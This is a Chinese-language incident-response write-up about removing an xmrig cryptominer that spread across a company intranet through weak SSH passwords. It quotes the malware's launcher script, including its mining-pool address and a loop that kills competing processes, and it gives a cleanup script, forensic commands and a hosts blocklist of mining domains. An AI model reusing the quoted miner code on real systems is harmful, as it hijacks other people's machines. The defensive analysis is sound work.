前几天公司的一台虚拟机CPU持续告警,IT周日发现了问题,后来发现是挖矿病毒并且已经在内网扩散了,安全小组立刻展开调查。因为网上文章对于挖矿在内网扩散怎么解决的思路很少,所以才有了下面这篇文章。
周一上午IT部门反馈内部服务器疑似被攻击,攻击特征为cpu利用率非常高,几乎占满,怀疑被挖矿开始跟踪分析。
IT部门给了我一台ip为192.168.5.3的服务器让我先做初步的分析,登上去后。
首先通过top查看服务器,发现pid为1320,bash启动的程序cpu占用率高达4000%,进行查看。
先确定启动进程的文件位置为/mnt/.bash/
,然后kill -9
终止进程。
#下面的命令可以查看PID为1320的进程是由哪个文件启动的。 ls -l /proc/1320/exe lrwxrwxrwx 1 root root 0 Jan 25 09:40 /proc/1320/exe -> /mnt/.bash/.bash/bash (deleted) #这里的deleted表示启动的文件被删除了
查看目录下都有什么内容
[root@host2 ~]# ls a bash bash3 bash.pid c cron.d dir.dir h32 h64 run stak stak3 upd x z
查看了run文件的内容,其中内容如下,存在明显的挖矿的特征,确定为挖矿病毒
#!/bin/bash #下面的循环会删除服务器上所有cpu高于40%的服务,为自己的挖矿程序提供更多的cpu使用。 #ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid #do #kill -9 $procid #done proc=`nproc` ARCH=`uname -m` HIDE="xmrig" #根据不同的架构启动不同挖矿程序 if [ "$ARCH" == "i686" ]; then ./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 188.166.218.65:54 -a cn/r -k >>/dev/null & elif [ "$ARCH" == "x86_64" ]; then ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 188.166.218.65:54 -k >>/dev/null & fi echo $! > bash.pid
因为刚开始只拿到了一台服务器确定了问题,所以现在有两个重要的事情需要同时去做。
所以我就开始一边写删除挖矿病毒的临时脚本,一边开始看服务器的记录,找到入口程序。
下面我会将这两件事分开来讲,但是上面两件事情是同步去做的。
crontab -e
编辑定时任务,刚发现挖矿程序在/mnt/.bash
,所以又去看了另外一台服务器发现了/mnt/.cache
所以可以确定这个定时任务就是挖矿病毒留下来的。/var/spool/cron/或者/var/spool/cron/root这两个文件
(centos和ubuntu有所不同),因为我们的服务器大多数都是centos,所以我简单判断了一下操作系统版本。/mnt/.cache /mnt/.bash /tmp/.cache这三个目录下
,所以我们可以找到进程中哪些进程都是由这三个目录中的文件启动的就杀掉,所以就写好了下面的代码通过排查,发现这个挖矿程序很简单,我们只需要关注三点:
这里贴出来自己最后的代码,虽然很简陋,甚至代码冗余,但是确实最快速解决问题的方法了。
#!/bin/bash DIR_PATH="/mnt/.cache" FILE_PATH="/mnt/.cache/upd" CRON_FILE="/var/spool/cron/root" #判断是不是ubuntu is_ubuntu=$(cat /proc/version | grep ubuntu | wc -l) if [[ is_ubuntu == 1 ]];then CRON_FILE="/var/spool/cron/crontabs/root" fi #杀进程 pid_num=$(ls -l /proc/*/exe 2>&1 | grep mnt/.bash | awk '{print $9}' | cut -f3 -d"/") if [ ! -z "$pid_num" ];then echo -e "\033[31m正在kill隐藏进程,启动目录为/mnt/.bash\033[0m" kill -9 $pid_num fi pid_num2=$(ls -l /proc/*/exe 2>&1 | grep mnt/.cache | awk '{print $9}' | cut -f3 -d"/") if [ ! -z "$pid_num2" ];then echo -e "\033[31m正在kill隐藏进程,启动目录为/mnt/.cache\033[0m" kill -9 $pid_num2 fi pid_num3=$(ls -l /proc/*/exe 2>&1 | grep tmp/.bash | awk '{print $9}' | cut -f3 -d"/") if [ ! -z "$pid_num3" ];then echo -e "\033[31m正在kill隐藏进程,启动目录为/tmp/.bash\033[0m" kill -9 $pid_num3 fi pid_num4=$(netstat -antlp | grep 206.81.29.251 | awk '{print $7}' | cut -f1 -d"/") if [ ! -z "$pid_num4" ];then echo -e "\033[31m正在kill隐藏进程,netstat 为206.81.29.251\033[0m" kill -9 $pid_num4 fi if [ -d "$DIR_PATH" ]; then if [ -x "$FILE_PATH" ]; then echo -e "\033[31m该服务器已中挖矿病毒,开始清除 \033[0m" #清空 crontab中的恶意启动项 sed -i '/.cache\/upd/d' $CRON_FILE #删除所有的文件 rm -rf /mnt/.cache/ cron_num=$(crontab -l | grep /mnt/.cache | wc -l) if [[ $cron_num == 0 ]];then echo -e "\033[31mcrontab删除成功 \033[0m" fi if [ ! -x "$FILE_PATH" ]; then echo -e "\033[31m挖矿文件删除文件 \033[0m" fi echo -e "\033[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:\033[0m" fi fi DIR2_PATH="/mnt/.bash" FILE2_PATH="/mnt/.bash/upd" if [ -d "$DIR2_PATH" ]; then if [ -x "$FILE2_PATH" ]; then echo -e "\033[31m该服务器已中挖矿病毒,开始清除 \033[0m" #清空 crontab中的恶意启动项 sed -i '/.bash\/upd/d' $CRON_FILE #删除所有的文件 rm -rf /mnt/.bash/ cron_num=$(crontab -l | grep /mnt/.bash | wc -l) if [[ $cron_num == 0 ]];then echo -e "\033[31mcrontab删除成功 \033[0m" fi if [ ! -x "$FILE2_PATH" ]; then echo -e "\033[31m挖矿文件删除文件 \033[0m" fi echo -e "\033[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:\033[0m" fi fi DIR3_PATH="/tmp/.bash" FILE3_PATH="/tmp/.bash/bash" if [ -d "$DIR3_PATH" ]; then if [ -x "$FILE3_PATH" ]; then echo -e "\033[31m该服务器已中挖矿病毒,开始清除 \033[0m" #清空 crontab中的恶意启动项 sed -i '/tmp\/.bash\/bash/d' $CRON_FILE #删除所有的文件 rm -rf /tmp/.bash/ cron_num=$(crontab -l | grep /tmp/.bash | wc -l) if [[ $cron_num == 0 ]];then echo -e "\033[31mcrontab删除成功 \033[0m" fi if [ ! -x "$FILE2_PATH" ]; then echo -e "\033[31m挖矿文件删除文件 \033[0m" fi echo -e "\033[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:\033[0m" fi fi
IT部门并不知道每台服务器和虚拟机的密码,我们虽然已经知道大部分都是弱口令的,但是也不知道那一台是什么样子,所以最好的方法就是通知到所有服务器的负责人,让他们自己去清除。
因为后续发现了挖矿程序内网扩散攻击成功的列表,所以最后使用批量下发脚本的程序去删除所有的挖矿程序,效果非常好,到第二天只剩下一台告警了。
下图为挖矿程序遗留的内网暴力破解成功的用户密码表。
下图为最后批量下发脚本的截图
入口点找了很久,因为有的服务器我们一时半会联系不到责任人,所以只能等着,等比人反馈问题给IT,IT反馈给我。
我们主要通过几个日志文件去做排查。
lastb > /home/lastb.log last > /home/last.log cat /var/log/secure > /home/secure.log
从刚开始拿到手的几台失陷的机器的特征可以判断内网是通过ssh弱口令来扩散的。因为失陷的几台服务器密码都为123456,admin123,并且日志中有大量登录失败的记录。
后来我们发现所有的登录爆破都来自于192.168.111.67,但是这台服务器一直找不到责任人,最后我通过暴力破解弱口令登上了这台服务器,并且发现了入侵者的攻击痕迹。在查找入口点的过程中,我画了简单地攻击拓扑图,来方便我来确定最后的入口点。
最后通过大量的日志可以确定攻击者是十二月份就登陆了我们的一台服务器(这台服务器外网可以连接,并且存在大量测试账号),而攻击者却没有使用这台服务器,而是使用192.168.111.67对整个内网发起了攻击。
但是当我们登录到入口点那台机器的时候,发现重要的日志已经被删除了,history记录也没有了,所以攻击者已经很难找到。
每次恶意攻击事件的爆发都会暴露出企业安全存在的一些问题,于是我们针对此次攻击做出了必要的整改。
crontab -l #列出所有的定时任务 crontab -r #删除所有的定时任务,可能会删除我们自己的配置信息,不推荐使用 crontab -e #编辑crontab文件
/var/spool/cron/* #centos的 /var/spool/cron/crontabs/* #ubuntu的 /var/spool/anacron/* /etc/crontab /etc/anacrontab #异步定时 /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/ /etc/cron.monthly/*
/etc/passwd
stat /etc/passwd #查看密码文件上一次修改的时间,如果最近被修改过,那就可能存在问题。 cat /etc/passwd | grep -v nologin #查看除了不可登录以外的用户都有哪些,有没有新增的 cat /etc/passwd | grep x:0 #查看哪些用户为root权限,有没有新增的 cat /etc/passwd | grep /bin/bash #查看哪些用户使用shell
export HISTTIMEFORMAT="%F %T `whoami` " #设置history显示时间和用户名 history > /home/xxx/history.log
/var/log
目录下的东西都认真看一下/var/log/secure #记录安全相关的日志,重点看一下 /var/log/btmp #登陆失败的日志记录 lastb -f btmp-2020xxxx #可以查看过去的某个登录失败记录 /var/log/wtmp #登陆成功的日志记录 #wtmp和btmp只能使用 last和lastb命令查看,不能直接打开看内容的。 /var/log/yum.log #安装记录,我们可以看一下最近有没有安装一些特殊的依赖库什么的
top 命令可以直接清除看到实施情况。 ps aux --sort=pcpu | head -10 #查看cpu占用率前十的进程,有时候可以发现top发现不了的东西 ls -l /proc/*/exe | grep xxx #如果我们知道恶意程序的启动文件大致位置,可以使用这个发现无文件的恶意进程
/etc/hosts
文件,请看一下其中内容是否被更改过0.0.0.0 aliyun.one 0.0.0.0 lsd.systemten.org 0.0.0.0 pastebin.com 0.0.0.0 pm.cpuminerpool.com 0.0.0.0 systemten.org
netstat -antlp | grep x.x.x.x | awk '{print $7}' | cut -f1 -d"/" #获取存在某ip的进程id号